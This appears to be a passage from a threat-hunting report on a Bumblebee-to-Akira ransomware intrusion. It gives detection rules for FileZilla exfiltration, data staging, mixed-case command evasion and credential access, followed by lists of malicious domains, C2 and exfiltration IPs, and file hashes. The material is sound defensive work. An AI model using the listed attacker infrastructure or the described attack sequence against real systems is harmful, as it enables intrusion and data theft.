Exfiltration Hunt for FileZilla installation on servers followed by large outbound transfers: Detect FileZilla_*_setup.exe execution on server systems, especially when followed by significant network traffic Look for data staging in ProgramData: Monitor file writes to C:\ProgramData\shares.txt, C:\ProgramData\*.txt containing reconnaissance output Defense Evasion Detect case variation in command execution: Hunt for mixed-case command invocations like Cmd.eXE, CmD.Exe which may indicate evasion attempts Behavioral Correlation Rules Multi-stage attack progression: Alert when a single system exhibits: MSI installation → discovery commands → credential access → lateral movement within 24 hours Cross-system activity correlation: Hunt for accounts created on one system and immediately used for authentication on another (<= 5mins) Tool deployment patterns: Monitor for remote access tool installation (RustDesk) followed by SSH tunneling activity from the same network segment Indicators of Compromise (IOCs) Domains: ev2sirbd269o5j.org (Bumblebee DGA domain) 2rxyt9urhq0bgj.org (Bumblebee DGA domain) DFIR Report: opmanager[.]pro (Malicious site for trojanized installer) angryipscanner.org (Malicious site for trojanized installer) axiscamerastation.org (Malicious site for trojanized installer) Swisscom B2B CSIRT: ip-scanner[.]org (Malicious site for trojanized installer) IP Addresses: 109.205.195[.]211 (Bumblebee C2) 188.40.187[.]145 (Bumblebee C2) DFIR Report: 172.96.137[.]160 (AdaptixC2 C2) Swisscom B2B CSIRT: 170.130.55[.]223 (AdaptixC2 C2) DFIR Report: 193.242.184[.]150 (SSH Tunnel Host) Swisscom B2B CSIRT: 83.229.17[.]60 (SSH Tunnel Host) 185.174.100[.]203 (SFTP Exfiltration Server) File Hashes: DFIR Report: ManageEngine-OpManager.msi 186b26df63df3b7334043b47659cba4185c948629d857d47452cc1936f0aa5da (Malicious installer) Swisscom B2B CSIRT: Advanced-IP-Scanner.msi a14506c6fb92a5af88a6a44d273edafe10d69ee3d85c8b2a7ac458a22edf68d2 (Malicious installer) DFIR Report: msimg32.dll a6df0b49a5ef9ffd6513bfe061fb60f6d2941a440038e2de8a7aeb1914945331 (Bumblebee) Swisscom B2B CSIRT: msimg32.dll 6ba5d96e52734cbb9246bcc3decf127f780d48fa11587a1a44880c1f04404d23 (Bumblebee) DFIR Report: locker.exe de730d969854c3697fd0e0803826b4222f3a14efe47e4c60ed749fff6edce19d (Akira ransomware) Swisscom B2B CSIRT: win.exe 18b8e6762afd29a09becae283083c74a19fc09db1f2c3412c42f1b0178bc122a (Akira ransomware) #TB36726